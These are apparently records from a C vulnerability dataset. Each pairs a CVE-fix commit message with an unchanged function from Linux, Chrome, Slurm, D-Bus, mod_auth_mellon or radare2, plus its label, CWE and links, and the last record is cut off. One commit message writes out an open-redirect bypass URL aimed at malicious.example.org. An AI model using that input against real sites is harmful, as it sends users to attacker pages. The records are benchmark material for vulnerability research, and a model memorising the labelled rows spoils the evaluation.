d974baa398f34393db76be45f7d4d04fbdbb4a0a
|
x86,kvm,vmx: Preserve CR4 across VM entry
CR4 isn't constant; at least the TSD and PCE bits can vary.
TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks
like it's correct.
This adds a branch and a read from cr4 to each vm entry. Because it is
extremely likely that consecutive entries into the same vcpu will have
the same host cr4 value, this fixes up the vmcs instead of restoring cr4
after the fact. A subsequent patch will add a kernel-wide cr4 shadow,
reducing the overhead in the common case to just two memory reads and a
branch.
Signed-off-by: Andy Lutomirski <[email protected]>
Acked-by: Paolo Bonzini <[email protected]>
Cc: [email protected]
Cc: Petr Matousek <[email protected]>
Cc: Gleb Natapov <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
|
static bool vmx_mpx_supported(void)
{
return (vmcs_config.vmexit_ctrl & VM_EXIT_CLEAR_BNDCFGS) &&
(vmcs_config.vmentry_ctrl & VM_ENTRY_LOAD_BNDCFGS);
}
|
static bool vmx_mpx_supported(void)
{
return (vmcs_config.vmexit_ctrl & VM_EXIT_CLEAR_BNDCFGS) &&
(vmcs_config.vmentry_ctrl & VM_ENTRY_LOAD_BNDCFGS);
}
|
C
|
linux
| 0 |
CVE-2018-17468
|
https://www.cvedetails.com/cve/CVE-2018-17468/
|
CWE-200
|
https://github.com/chromium/chromium/commit/5fe74f831fddb92afa5ddfe46490bb49f083132b
|
5fe74f831fddb92afa5ddfe46490bb49f083132b
|
Do not forward resource timing to parent frame after back-forward navigation
LocalFrame has |should_send_resource_timing_info_to_parent_| flag not to
send timing info to parent except for the first navigation. This flag is
cleared when the first timing is sent to parent, however this does not happen
if iframe's first navigation was by back-forward navigation. For such
iframes, we shouldn't send timings to parent at all.
Bug: 876822
Change-Id: I128b51a82ef278c439548afc8283ae63abdef5c5
Reviewed-on: https://chromium-review.googlesource.com/1186215
Reviewed-by: Kinuko Yasuda <[email protected]>
Commit-Queue: Kunihiko Sakamoto <[email protected]>
Cr-Commit-Position: refs/heads/master@{#585736}
|
bool FrameFetchContext::IsFirstPartyOrigin(const KURL& url) const {
if (IsDetached())
return false;
return GetFrame()
->Tree()
.Top()
.GetSecurityContext()
->GetSecurityOrigin()
->IsSameSchemeHostPort(SecurityOrigin::Create(url).get());
}
|
bool FrameFetchContext::IsFirstPartyOrigin(const KURL& url) const {
if (IsDetached())
return false;
return GetFrame()
->Tree()
.Top()
.GetSecurityContext()
->GetSecurityOrigin()
->IsSameSchemeHostPort(SecurityOrigin::Create(url).get());
}
|
C
|
Chrome
| 0 |
CVE-2018-17476
|
https://www.cvedetails.com/cve/CVE-2018-17476/
|
CWE-20
|
https://github.com/chromium/chromium/commit/3d41e77125f3de8d722b6d8303599abaf2a91667
|
3d41e77125f3de8d722b6d8303599abaf2a91667
|
If a dialog is shown, drop fullscreen.
BUG=875066, 817809, 792876, 812769, 813815
TEST=included
Change-Id: Ic3d697fa3c4b01f5d7fea77391857177ada660db
Reviewed-on: https://chromium-review.googlesource.com/1185208
Reviewed-by: Sidney San Martín <[email protected]>
Commit-Queue: Avi Drissman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#586418}
|
void Resize() {
if (wcv_resize_insets_.IsEmpty())
return;
gfx::Rect bounds(browser_window_->GetBounds());
gfx::Size size(bounds.size());
size.Enlarge(wcv_resize_insets_.width(), wcv_resize_insets_.height());
bounds.set_size(size);
browser_window_->SetBounds(bounds);
content::RunAllPendingInMessageLoop();
}
|
void Resize() {
if (wcv_resize_insets_.IsEmpty())
return;
gfx::Rect bounds(browser_window_->GetBounds());
gfx::Size size(bounds.size());
size.Enlarge(wcv_resize_insets_.width(), wcv_resize_insets_.height());
bounds.set_size(size);
browser_window_->SetBounds(bounds);
content::RunAllPendingInMessageLoop();
}
|
C
|
Chrome
| 0 |
CVE-2016-10030
|
https://www.cvedetails.com/cve/CVE-2016-10030/
|
CWE-284
|
https://github.com/SchedMD/slurm/commit/92362a92fffe60187df61f99ab11c249d44120ee
|
92362a92fffe60187df61f99ab11c249d44120ee
|
Fix security issue in _prolog_error().
Fix security issue caused by insecure file path handling triggered by
the failure of a Prolog script. To exploit this a user needs to
anticipate or cause the Prolog to fail for their job.
(This commit is slightly different from the fix to the 15.08 branch.)
CVE-2016-10030.
|
_signal_jobstep(uint32_t jobid, uint32_t stepid, uid_t req_uid,
uint32_t signal)
{
int fd, rc = SLURM_SUCCESS;
uid_t uid;
uint16_t protocol_version;
/* There will be no stepd if the prolog is still running
* Return failure so caller can retry.
*/
if (_prolog_is_running (jobid)) {
info ("signal %d req for %u.%u while prolog is running."
" Returning failure.", signal, jobid, stepid);
return SLURM_FAILURE;
}
fd = stepd_connect(conf->spooldir, conf->node_name, jobid, stepid,
&protocol_version);
if (fd == -1) {
debug("signal for nonexistent %u.%u stepd_connect failed: %m",
jobid, stepid);
return ESLURM_INVALID_JOB_ID;
}
if ((int)(uid = stepd_get_uid(fd, protocol_version)) < 0) {
debug("_signal_jobstep: couldn't read from the step %u.%u: %m",
jobid, stepid);
rc = ESLURM_INVALID_JOB_ID;
goto done2;
}
if ((req_uid != uid) && (!_slurm_authorized_user(req_uid))) {
debug("kill req from uid %ld for job %u.%u owned by uid %ld",
(long) req_uid, jobid, stepid, (long) uid);
rc = ESLURM_USER_ID_MISSING; /* or bad in this case */
goto done2;
}
#ifdef HAVE_AIX
# ifdef SIGMIGRATE
# ifdef SIGSOUND
/* SIGMIGRATE and SIGSOUND are used to initiate job checkpoint on AIX.
* These signals are not sent to the entire process group, but just a
* single process, namely the PMD. */
if (signal == SIGMIGRATE || signal == SIGSOUND) {
rc = stepd_signal_task_local(fd, protocol_version,
signal, 0);
goto done2;
}
# endif
# endif
#endif
rc = stepd_signal_container(fd, protocol_version, signal);
if (rc == -1)
rc = ESLURMD_JOB_NOTRUNNING;
done2:
close(fd);
return rc;
}
|
_signal_jobstep(uint32_t jobid, uint32_t stepid, uid_t req_uid,
uint32_t signal)
{
int fd, rc = SLURM_SUCCESS;
uid_t uid;
uint16_t protocol_version;
/* There will be no stepd if the prolog is still running
* Return failure so caller can retry.
*/
if (_prolog_is_running (jobid)) {
info ("signal %d req for %u.%u while prolog is running."
" Returning failure.", signal, jobid, stepid);
return SLURM_FAILURE;
}
fd = stepd_connect(conf->spooldir, conf->node_name, jobid, stepid,
&protocol_version);
if (fd == -1) {
debug("signal for nonexistent %u.%u stepd_connect failed: %m",
jobid, stepid);
return ESLURM_INVALID_JOB_ID;
}
if ((int)(uid = stepd_get_uid(fd, protocol_version)) < 0) {
debug("_signal_jobstep: couldn't read from the step %u.%u: %m",
jobid, stepid);
rc = ESLURM_INVALID_JOB_ID;
goto done2;
}
if ((req_uid != uid) && (!_slurm_authorized_user(req_uid))) {
debug("kill req from uid %ld for job %u.%u owned by uid %ld",
(long) req_uid, jobid, stepid, (long) uid);
rc = ESLURM_USER_ID_MISSING; /* or bad in this case */
goto done2;
}
#ifdef HAVE_AIX
# ifdef SIGMIGRATE
# ifdef SIGSOUND
/* SIGMIGRATE and SIGSOUND are used to initiate job checkpoint on AIX.
* These signals are not sent to the entire process group, but just a
* single process, namely the PMD. */
if (signal == SIGMIGRATE || signal == SIGSOUND) {
rc = stepd_signal_task_local(fd, protocol_version,
signal, 0);
goto done2;
}
# endif
# endif
#endif
rc = stepd_signal_container(fd, protocol_version, signal);
if (rc == -1)
rc = ESLURMD_JOB_NOTRUNNING;
done2:
close(fd);
return rc;
}
|
C
|
slurm
| 0 |
CVE-2017-5009
|
https://www.cvedetails.com/cve/CVE-2017-5009/
|
CWE-119
|
https://github.com/chromium/chromium/commit/1c40f9042ae2d6ee7483d72998aabb5e73b2ff60
|
1c40f9042ae2d6ee7483d72998aabb5e73b2ff60
|
DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <[email protected]>
Reviewed-by: Dmitry Gozman <[email protected]>
Commit-Queue: Andrey Lushnikov <[email protected]>
Cr-Commit-Position: refs/heads/master@{#507936}
|
void InspectorPageAgent::Did(const probe::UpdateLayout&) {
PageLayoutInvalidated(false);
}
|
void InspectorPageAgent::Did(const probe::UpdateLayout&) {
PageLayoutInvalidated(false);
}
|
C
|
Chrome
| 0 |
CVE-2015-0274
|
https://www.cvedetails.com/cve/CVE-2015-0274/
|
CWE-19
|
https://github.com/torvalds/linux/commit/8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
|
8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
|
xfs: remote attribute overwrite causes transaction overrun
Commit e461fcb ("xfs: remote attribute lookups require the value
length") passes the remote attribute length in the xfs_da_args
structure on lookup so that CRC calculations and validity checking
can be performed correctly by related code. This, unfortunately has
the side effect of changing the args->valuelen parameter in cases
where it shouldn't.
That is, when we replace a remote attribute, the incoming
replacement stores the value and length in args->value and
args->valuelen, but then the lookup which finds the existing remote
attribute overwrites args->valuelen with the length of the remote
attribute being replaced. Hence when we go to create the new
attribute, we create it of the size of the existing remote
attribute, not the size it is supposed to be. When the new attribute
is much smaller than the old attribute, this results in a
transaction overrun and an ASSERT() failure on a debug kernel:
XFS: Assertion failed: tp->t_blk_res_used <= tp->t_blk_res, file: fs/xfs/xfs_trans.c, line: 331
Fix this by keeping the remote attribute value length separate to
the attribute value length in the xfs_da_args structure. The enables
us to pass the length of the remote attribute to be removed without
overwriting the new attribute's length.
Also, ensure that when we save remote block contexts for a later
rename we zero the original state variables so that we don't confuse
the state of the attribute to be removes with the state of the new
attribute that we just added. [Spotted by Brain Foster.]
Signed-off-by: Dave Chinner <[email protected]>
Reviewed-by: Brian Foster <[email protected]>
Signed-off-by: Dave Chinner <[email protected]>
|
xfs_attr3_leaf_to_node(
struct xfs_da_args *args)
{
struct xfs_attr_leafblock *leaf;
struct xfs_attr3_icleaf_hdr icleafhdr;
struct xfs_attr_leaf_entry *entries;
struct xfs_da_node_entry *btree;
struct xfs_da3_icnode_hdr icnodehdr;
struct xfs_da_intnode *node;
struct xfs_inode *dp = args->dp;
struct xfs_mount *mp = dp->i_mount;
struct xfs_buf *bp1 = NULL;
struct xfs_buf *bp2 = NULL;
xfs_dablk_t blkno;
int error;
trace_xfs_attr_leaf_to_node(args);
error = xfs_da_grow_inode(args, &blkno);
if (error)
goto out;
error = xfs_attr3_leaf_read(args->trans, dp, 0, -1, &bp1);
if (error)
goto out;
error = xfs_da_get_buf(args->trans, dp, blkno, -1, &bp2, XFS_ATTR_FORK);
if (error)
goto out;
/* copy leaf to new buffer, update identifiers */
xfs_trans_buf_set_type(args->trans, bp2, XFS_BLFT_ATTR_LEAF_BUF);
bp2->b_ops = bp1->b_ops;
memcpy(bp2->b_addr, bp1->b_addr, XFS_LBSIZE(mp));
if (xfs_sb_version_hascrc(&mp->m_sb)) {
struct xfs_da3_blkinfo *hdr3 = bp2->b_addr;
hdr3->blkno = cpu_to_be64(bp2->b_bn);
}
xfs_trans_log_buf(args->trans, bp2, 0, XFS_LBSIZE(mp) - 1);
/*
* Set up the new root node.
*/
error = xfs_da3_node_create(args, 0, 1, &bp1, XFS_ATTR_FORK);
if (error)
goto out;
node = bp1->b_addr;
dp->d_ops->node_hdr_from_disk(&icnodehdr, node);
btree = dp->d_ops->node_tree_p(node);
leaf = bp2->b_addr;
xfs_attr3_leaf_hdr_from_disk(&icleafhdr, leaf);
entries = xfs_attr3_leaf_entryp(leaf);
/* both on-disk, don't endian-flip twice */
btree[0].hashval = entries[icleafhdr.count - 1].hashval;
btree[0].before = cpu_to_be32(blkno);
icnodehdr.count = 1;
dp->d_ops->node_hdr_to_disk(node, &icnodehdr);
xfs_trans_log_buf(args->trans, bp1, 0, XFS_LBSIZE(mp) - 1);
error = 0;
out:
return error;
}
|
xfs_attr3_leaf_to_node(
struct xfs_da_args *args)
{
struct xfs_attr_leafblock *leaf;
struct xfs_attr3_icleaf_hdr icleafhdr;
struct xfs_attr_leaf_entry *entries;
struct xfs_da_node_entry *btree;
struct xfs_da3_icnode_hdr icnodehdr;
struct xfs_da_intnode *node;
struct xfs_inode *dp = args->dp;
struct xfs_mount *mp = dp->i_mount;
struct xfs_buf *bp1 = NULL;
struct xfs_buf *bp2 = NULL;
xfs_dablk_t blkno;
int error;
trace_xfs_attr_leaf_to_node(args);
error = xfs_da_grow_inode(args, &blkno);
if (error)
goto out;
error = xfs_attr3_leaf_read(args->trans, dp, 0, -1, &bp1);
if (error)
goto out;
error = xfs_da_get_buf(args->trans, dp, blkno, -1, &bp2, XFS_ATTR_FORK);
if (error)
goto out;
/* copy leaf to new buffer, update identifiers */
xfs_trans_buf_set_type(args->trans, bp2, XFS_BLFT_ATTR_LEAF_BUF);
bp2->b_ops = bp1->b_ops;
memcpy(bp2->b_addr, bp1->b_addr, XFS_LBSIZE(mp));
if (xfs_sb_version_hascrc(&mp->m_sb)) {
struct xfs_da3_blkinfo *hdr3 = bp2->b_addr;
hdr3->blkno = cpu_to_be64(bp2->b_bn);
}
xfs_trans_log_buf(args->trans, bp2, 0, XFS_LBSIZE(mp) - 1);
/*
* Set up the new root node.
*/
error = xfs_da3_node_create(args, 0, 1, &bp1, XFS_ATTR_FORK);
if (error)
goto out;
node = bp1->b_addr;
dp->d_ops->node_hdr_from_disk(&icnodehdr, node);
btree = dp->d_ops->node_tree_p(node);
leaf = bp2->b_addr;
xfs_attr3_leaf_hdr_from_disk(&icleafhdr, leaf);
entries = xfs_attr3_leaf_entryp(leaf);
/* both on-disk, don't endian-flip twice */
btree[0].hashval = entries[icleafhdr.count - 1].hashval;
btree[0].before = cpu_to_be32(blkno);
icnodehdr.count = 1;
dp->d_ops->node_hdr_to_disk(node, &icnodehdr);
xfs_trans_log_buf(args->trans, bp1, 0, XFS_LBSIZE(mp) - 1);
error = 0;
out:
return error;
}
|
C
|
linux
| 0 |
CVE-2013-2874
|
https://www.cvedetails.com/cve/CVE-2013-2874/
|
CWE-264
|
https://github.com/chromium/chromium/commit/c0da7c1c6e9ffe5006e146b6426f987238d4bf2e
|
c0da7c1c6e9ffe5006e146b6426f987238d4bf2e
|
DevTools: handle devtools renderer unresponsiveness during beforeunload event interception
This patch fixes the crash which happenes under the following conditions:
1. DevTools window is in undocked state
2. DevTools renderer is unresponsive
3. User attempts to close inspected page
BUG=322380
Review URL: https://codereview.chromium.org/84883002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@237611 0039d316-1c4b-4281-b951-d872f2087c98
|
void DevToolsWindow::InspectElement(content::RenderViewHost* inspected_rvh,
int x,
int y) {
scoped_refptr<DevToolsAgentHost> agent(
DevToolsAgentHost::GetOrCreateFor(inspected_rvh));
agent->InspectElement(x, y);
OpenDevToolsWindow(inspected_rvh);
}
|
void DevToolsWindow::InspectElement(content::RenderViewHost* inspected_rvh,
int x,
int y) {
scoped_refptr<DevToolsAgentHost> agent(
DevToolsAgentHost::GetOrCreateFor(inspected_rvh));
agent->InspectElement(x, y);
OpenDevToolsWindow(inspected_rvh);
}
|
C
|
Chrome
| 0 |
CVE-2011-2200
|
https://www.cvedetails.com/cve/CVE-2011-2200/
|
CWE-20
|
https://cgit.freedesktop.org/dbus/dbus/commit/?h=dbus-1.4&id=c3223ba6c401ba81df1305851312a47c485e6cd7
|
c3223ba6c401ba81df1305851312a47c485e6cd7
| null |
_dbus_header_get_field_basic (DBusHeader *header,
int field,
int type,
void *value)
{
_dbus_assert (field != DBUS_HEADER_FIELD_INVALID);
_dbus_assert (field <= DBUS_HEADER_FIELD_LAST);
_dbus_assert (_dbus_header_field_types[field].code == field);
/* in light of this you might ask why the type is passed in;
* the only rationale I can think of is so the caller has
* to specify its expectation and breaks if we change it
*/
_dbus_assert (type == EXPECTED_TYPE_OF_FIELD (field));
if (!_dbus_header_cache_check (header, field))
return FALSE;
_dbus_assert (header->fields[field].value_pos >= 0);
_dbus_marshal_read_basic (&header->data,
header->fields[field].value_pos,
type, value, header->byte_order,
NULL);
return TRUE;
}
|
_dbus_header_get_field_basic (DBusHeader *header,
int field,
int type,
void *value)
{
_dbus_assert (field != DBUS_HEADER_FIELD_INVALID);
_dbus_assert (field <= DBUS_HEADER_FIELD_LAST);
_dbus_assert (_dbus_header_field_types[field].code == field);
/* in light of this you might ask why the type is passed in;
* the only rationale I can think of is so the caller has
* to specify its expectation and breaks if we change it
*/
_dbus_assert (type == EXPECTED_TYPE_OF_FIELD (field));
if (!_dbus_header_cache_check (header, field))
return FALSE;
_dbus_assert (header->fields[field].value_pos >= 0);
_dbus_marshal_read_basic (&header->data,
header->fields[field].value_pos,
type, value, header->byte_order,
NULL);
return TRUE;
}
|
C
|
dbus
| 0 |
CVE-2018-6063
|
https://www.cvedetails.com/cve/CVE-2018-6063/
|
CWE-787
|
https://github.com/chromium/chromium/commit/673ce95d481ea9368c4d4d43ac756ba1d6d9e608
|
673ce95d481ea9368c4d4d43ac756ba1d6d9e608
|
Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <[email protected]>
Reviewed-by: Lei Zhang <[email protected]>
Reviewed-by: John Abd-El-Malek <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Sadrul Chowdhury <[email protected]>
Reviewed-by: Yuzhu Shen <[email protected]>
Reviewed-by: Robert Sesek <[email protected]>
Commit-Queue: Ken Rockot <[email protected]>
Cr-Commit-Position: refs/heads/master@{#530268}
|
void RenderProcessHostImpl::SetIsUsed() {
is_unused_ = false;
}
|
void RenderProcessHostImpl::SetIsUsed() {
is_unused_ = false;
}
|
C
|
Chrome
| 0 |
CVE-2011-3896
|
https://www.cvedetails.com/cve/CVE-2011-3896/
|
CWE-119
|
https://github.com/chromium/chromium/commit/5925dff83699508b5e2735afb0297dfb310e159d
|
5925dff83699508b5e2735afb0297dfb310e159d
|
Implement a bubble that appears at the top of the screen when a tab enters
fullscreen mode via webkitRequestFullScreen(), telling the user how to exit
fullscreen.
This is implemented as an NSView rather than an NSWindow because the floating
chrome that appears in presentation mode should overlap the bubble.
Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac:
the mode in which the UI is hidden, accessible by moving the cursor to the top
of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode.
On Lion, however, fullscreen mode does not imply presentation mode: in
non-presentation fullscreen mode, the chrome is permanently shown. It is
possible to switch between presentation mode and fullscreen mode using the
presentation mode UI control.
When a tab initiates fullscreen mode on Lion, we enter presentation mode if not
in presentation mode already. When the user exits fullscreen mode using Chrome
UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we
return the user to the mode they were in before the tab entered fullscreen.
BUG=14471
TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen.
Need to test the Lion logic somehow, with no Lion trybots.
BUG=96883
Original review http://codereview.chromium.org/7890056/
TBR=thakis
Review URL: http://codereview.chromium.org/7920024
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98
|
void Browser::RunFileChooserHelper(
TabContents* tab, const ViewHostMsg_RunFileChooser_Params& params) {
Profile* profile =
Profile::FromBrowserContext(tab->browser_context());
FileSelectHelper* file_select_helper = new FileSelectHelper(profile);
file_select_helper->RunFileChooser(tab->render_view_host(), tab, params);
}
|
void Browser::RunFileChooserHelper(
TabContents* tab, const ViewHostMsg_RunFileChooser_Params& params) {
Profile* profile =
Profile::FromBrowserContext(tab->browser_context());
FileSelectHelper* file_select_helper = new FileSelectHelper(profile);
file_select_helper->RunFileChooser(tab->render_view_host(), tab, params);
}
|
C
|
Chrome
| 0 |
CVE-2016-5217
|
https://www.cvedetails.com/cve/CVE-2016-5217/
|
CWE-284
|
https://github.com/chromium/chromium/commit/0d68cbd77addd38909101f76847deea56de00524
|
0d68cbd77addd38909101f76847deea56de00524
|
Fix PIP window being blank after minimize/show
DesktopWindowTreeHostX11::SetVisible only made the call into
OnNativeWidgetVisibilityChanged when transitioning from shown
to minimized and not vice versa. This is because this change
https://chromium-review.googlesource.com/c/chromium/src/+/1437263
considered IsVisible to be true when minimized, which made
IsVisible always true in this case. This caused layers to be hidden
but never shown again.
This is a reland of:
https://chromium-review.googlesource.com/c/chromium/src/+/1580103
Bug: 949199
Change-Id: I2151cd09e537d8ce8781897f43a3b8e9cec75996
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1584617
Reviewed-by: Scott Violet <[email protected]>
Commit-Queue: enne <[email protected]>
Cr-Commit-Position: refs/heads/master@{#654280}
|
gfx::Rect DesktopWindowTreeHostX11::ToDIPRect(
const gfx::Rect& rect_in_pixels) const {
gfx::RectF rect_in_dip = gfx::RectF(rect_in_pixels);
GetRootTransform().TransformRectReverse(&rect_in_dip);
return gfx::ToEnclosingRect(rect_in_dip);
}
|
gfx::Rect DesktopWindowTreeHostX11::ToDIPRect(
const gfx::Rect& rect_in_pixels) const {
gfx::RectF rect_in_dip = gfx::RectF(rect_in_pixels);
GetRootTransform().TransformRectReverse(&rect_in_dip);
return gfx::ToEnclosingRect(rect_in_dip);
}
|
C
|
Chrome
| 0 |
CVE-2018-16080
|
https://www.cvedetails.com/cve/CVE-2018-16080/
|
CWE-20
|
https://github.com/chromium/chromium/commit/c552cd7b8a0862f6b3c8c6a07f98bda3721101eb
|
c552cd7b8a0862f6b3c8c6a07f98bda3721101eb
|
Mac: turn popups into new tabs while in fullscreen.
It's platform convention to show popups as new tabs while in
non-HTML5 fullscreen. (Popups cause tabs to lose HTML5 fullscreen.)
This was implemented for Cocoa in a BrowserWindow override, but
it makes sense to just stick it into Browser and remove a ton
of override code put in just to support this.
BUG=858929, 868416
TEST=as in bugs
Change-Id: I43471f242813ec1159d9c690bab73dab3e610b7d
Reviewed-on: https://chromium-review.googlesource.com/1153455
Reviewed-by: Sidney San Martín <[email protected]>
Commit-Queue: Avi Drissman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#578755}
|
void BrowserView::DestroyAnyExclusiveAccessBubble() {
exclusive_access_bubble_.reset();
}
|
void BrowserView::DestroyAnyExclusiveAccessBubble() {
exclusive_access_bubble_.reset();
}
|
C
|
Chrome
| 0 |
CVE-2012-5148
|
https://www.cvedetails.com/cve/CVE-2012-5148/
|
CWE-20
|
https://github.com/chromium/chromium/commit/e89cfcb9090e8c98129ae9160c513f504db74599
|
e89cfcb9090e8c98129ae9160c513f504db74599
|
Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
|
void TabStripGtk::StopAnimation() {
if (active_animation_.get())
active_animation_->Stop();
}
|
void TabStripGtk::StopAnimation() {
if (active_animation_.get())
active_animation_->Stop();
}
|
C
|
Chrome
| 0 |
CVE-2019-3877
|
https://www.cvedetails.com/cve/CVE-2019-3877/
|
CWE-601
|
https://github.com/Uninett/mod_auth_mellon/commit/62041428a32de402e0be6ba45fe12df6a83bedb8
|
62041428a32de402e0be6ba45fe12df6a83bedb8
|
Fix redirect URL validation bypass
It turns out that browsers silently convert backslash characters into
forward slashes, while apr_uri_parse() does not.
This mismatch allows an attacker to bypass the redirect URL validation
by using an URL like:
https://sp.example.org/mellon/logout?ReturnTo=https:%5c%5cmalicious.example.org/
mod_auth_mellon will assume that it is a relative URL and allow the
request to pass through, while the browsers will use it as an absolute
url and redirect to https://malicious.example.org/ .
This patch fixes this issue by rejecting all redirect URLs with
backslashes.
|
int am_postdir_cleanup(request_rec *r)
{
am_mod_cfg_rec *mod_cfg;
apr_dir_t *postdir;
apr_status_t rv;
char error_buffer[64];
apr_finfo_t afi;
char *fname;
int count;
apr_time_t expire_before;
mod_cfg = am_get_mod_cfg(r->server);
/* The oldes file we should keep. Delete files that are older. */
expire_before = apr_time_now() - mod_cfg->post_ttl * APR_USEC_PER_SEC;
/*
* Open our POST directory or create it.
*/
rv = apr_dir_open(&postdir, mod_cfg->post_dir, r->pool);
if (rv != 0) {
AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r,
"Unable to open MellonPostDirectory \"%s\": %s",
mod_cfg->post_dir,
apr_strerror(rv, error_buffer, sizeof(error_buffer)));
return HTTP_INTERNAL_SERVER_ERROR;
}
/*
* Purge outdated items
*/
count = 0;
do {
rv = apr_dir_read(&afi, APR_FINFO_NAME|APR_FINFO_CTIME, postdir);
if (rv != OK)
break;
/* Skip dot_files */
if (afi.name[0] == '.')
continue;
if (afi.ctime < expire_before) {
fname = apr_psprintf(r->pool, "%s/%s", mod_cfg->post_dir, afi.name);
(void)apr_file_remove(fname , r->pool);
} else {
count++;
}
} while (1 /* CONSTCOND */);
(void)apr_dir_close(postdir);
if (count >= mod_cfg->post_count) {
AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r,
"Too many saved POST sessions. "
"Increase MellonPostCount directive.");
return HTTP_INTERNAL_SERVER_ERROR;
}
return OK;
}
|
int am_postdir_cleanup(request_rec *r)
{
am_mod_cfg_rec *mod_cfg;
apr_dir_t *postdir;
apr_status_t rv;
char error_buffer[64];
apr_finfo_t afi;
char *fname;
int count;
apr_time_t expire_before;
mod_cfg = am_get_mod_cfg(r->server);
/* The oldes file we should keep. Delete files that are older. */
expire_before = apr_time_now() - mod_cfg->post_ttl * APR_USEC_PER_SEC;
/*
* Open our POST directory or create it.
*/
rv = apr_dir_open(&postdir, mod_cfg->post_dir, r->pool);
if (rv != 0) {
AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r,
"Unable to open MellonPostDirectory \"%s\": %s",
mod_cfg->post_dir,
apr_strerror(rv, error_buffer, sizeof(error_buffer)));
return HTTP_INTERNAL_SERVER_ERROR;
}
/*
* Purge outdated items
*/
count = 0;
do {
rv = apr_dir_read(&afi, APR_FINFO_NAME|APR_FINFO_CTIME, postdir);
if (rv != OK)
break;
/* Skip dot_files */
if (afi.name[0] == '.')
continue;
if (afi.ctime < expire_before) {
fname = apr_psprintf(r->pool, "%s/%s", mod_cfg->post_dir, afi.name);
(void)apr_file_remove(fname , r->pool);
} else {
count++;
}
} while (1 /* CONSTCOND */);
(void)apr_dir_close(postdir);
if (count >= mod_cfg->post_count) {
AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, 0, r,
"Too many saved POST sessions. "
"Increase MellonPostCount directive.");
return HTTP_INTERNAL_SERVER_ERROR;
}
return OK;
}
|
C
|
mod_auth_mellon
| 0 |
CVE-2013-7421
|
https://www.cvedetails.com/cve/CVE-2013-7421/
|
CWE-264
|
https://github.com/torvalds/linux/commit/5d26a105b5a73e5635eae0629b42fa0a90e07b7b
|
5d26a105b5a73e5635eae0629b42fa0a90e07b7b
|
crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <[email protected]>
Signed-off-by: Herbert Xu <[email protected]>
|
static int lrw_cast6_setkey(struct crypto_tfm *tfm, const u8 *key,
unsigned int keylen)
{
struct cast6_lrw_ctx *ctx = crypto_tfm_ctx(tfm);
int err;
err = __cast6_setkey(&ctx->cast6_ctx, key, keylen - CAST6_BLOCK_SIZE,
&tfm->crt_flags);
if (err)
return err;
return lrw_init_table(&ctx->lrw_table, key + keylen - CAST6_BLOCK_SIZE);
}
|
static int lrw_cast6_setkey(struct crypto_tfm *tfm, const u8 *key,
unsigned int keylen)
{
struct cast6_lrw_ctx *ctx = crypto_tfm_ctx(tfm);
int err;
err = __cast6_setkey(&ctx->cast6_ctx, key, keylen - CAST6_BLOCK_SIZE,
&tfm->crt_flags);
if (err)
return err;
return lrw_init_table(&ctx->lrw_table, key + keylen - CAST6_BLOCK_SIZE);
}
|
C
|
linux
| 0 |
CVE-2017-16358
|
https://www.cvedetails.com/cve/CVE-2017-16358/
|
CWE-125
|
https://github.com/radare/radare2/commit/d31c4d3cbdbe01ea3ded16a584de94149ecd31d9
|
d31c4d3cbdbe01ea3ded16a584de94149ecd31d9
|
Fix #8748 - Fix oobread on string search
|
static RBinFile *r_bin_file_find_by_id(RBin *bin, ut32 binfile_id) {
RBinFile *binfile = NULL;
RListIter *iter = NULL;
r_list_foreach (bin->binfiles, iter, binfile) {
if (binfile->id == binfile_id) {
break;
}
binfile = NULL;
}
return binfile;
}
|
static RBinFile *r_bin_file_find_by_id(RBin *bin, ut32 binfile_id) {
RBinFile *binfile = NULL;
RListIter *iter = NULL;
r_list_foreach (bin->binfiles, iter, binfile) {
if (binfile->id == binfile_id) {
break;
}
binfile = NULL;
}
return binfile;
}
|
C
|
radare2
| 0 |
CVE-2017-9739
|
https://www.cvedetails.com/cve/CVE-2017-9739/
|
CWE-125
|
